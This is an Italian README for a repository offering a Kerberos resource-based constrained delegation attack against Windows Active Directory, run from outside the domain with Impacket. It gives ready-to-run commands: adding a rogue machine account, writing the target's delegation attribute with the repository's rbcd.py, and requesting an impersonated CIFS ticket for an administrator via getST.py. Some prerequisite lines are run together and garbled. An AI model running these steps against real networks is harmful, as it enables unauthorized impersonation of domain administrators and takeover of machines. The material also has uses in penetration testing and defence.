
Attacco di delega vincolata basata su risorse Kerberos dall'esterno utilizzando Impacket
Questo repository riguarda un attacco pratico contro la delega vincolata basata sulle risorse di Kerberos in un dominio Active Directory di Windows.
La differenza rispetto ad altre implementazioni comuni è che lanciamo l'attacco dall'esterno del dominio Windows, non da un computer unito al dominio (solitamente Windows).
L'attacco è implementato utilizzando solo Python3 Impacket (e le sue dipendenze). Testato su Arch con Impacket aggiornato (0.9.21 al momento della scrittura).

In sintesi, senza entrare in troppi dettagli, l'attacco prende di mira un computer del dominio, esattamente i service principal relativi al computer del dominio target.
Qui sono necessari come prerequisiti:
msDS-AllowedToActOnBehalfOfOtherIdentity dell'oggetto computer del dominio target)MachineAccountQuota)Il percorso dell'attacco ad alto livello:
msDS-AllowedToActOnBehalfOfOtherIdentity del targetVantaggio:
Gli strumenti comuni per questo attacco operano su un computer Windows unito al dominio utilizzando:
abuso di msDS-AllowedToActOnBehalfOfOtherIdentityQuesta implementazione utilizza puro Impacket dall'esterno del dominio.
Usando l'esempio addcomputer.py da Impacket creiamo un computer fittizio (chiamato evilcomputer):
addcomputer.py -computer-name 'evilcomputer$' -computer-pass ev1lP@sS -dc-ip 192.168.33.203 ecorp.local/test:ohW9Lie0
Implementato lo script rbcd.py presente nel repository che aggiunge il descrittore di sicurezza relativo del nuovo EVILCOMPUTER alla proprietà msDS-AllowedToActOnBehalfOfOtherIdentity del computer target.
./rbcd.py -f EVILCOMPUTER -t WEB -dc-ip 192.168.33.203 ecorp\\test:ohW9Lie0
Lo script utilizza pesantemente le classi Python nell'esempio ntlmrelayx.py di Impacket. Per aiuto e un esempio, chiama lo script senza opzioni.
Ora tutto è pronto per abusare della delega vincolata tramite una query S4U2Self e ottenere un ticket di servizio impersonato per il computer target. Con lo script di esempio getST.py di Impacket:
getST.py -spn cifs/WEB.ecorp.local -impersonate admin -dc-ip 192.168.33.203 ecorp.local/EVILCOMPUTER$:ev1lP@sS
Il comando sopra recupera un ticket di servizio CIFS per conto dell'utente di dominio target admin e lo memorizza nel file admin.ccache.
Dopo aver aggiunto il percorso del file alla variabile KRB5CCNAME, il ticket è utilizzabile per i client Kerberos.
export KRB5CCNAME=`pwd`/admin.ccache
klist
Per dettagli sull'abuso della delega vincolata basata sulle risorse:
E una delle presentazioni più complete sugli attacchi Kerberos: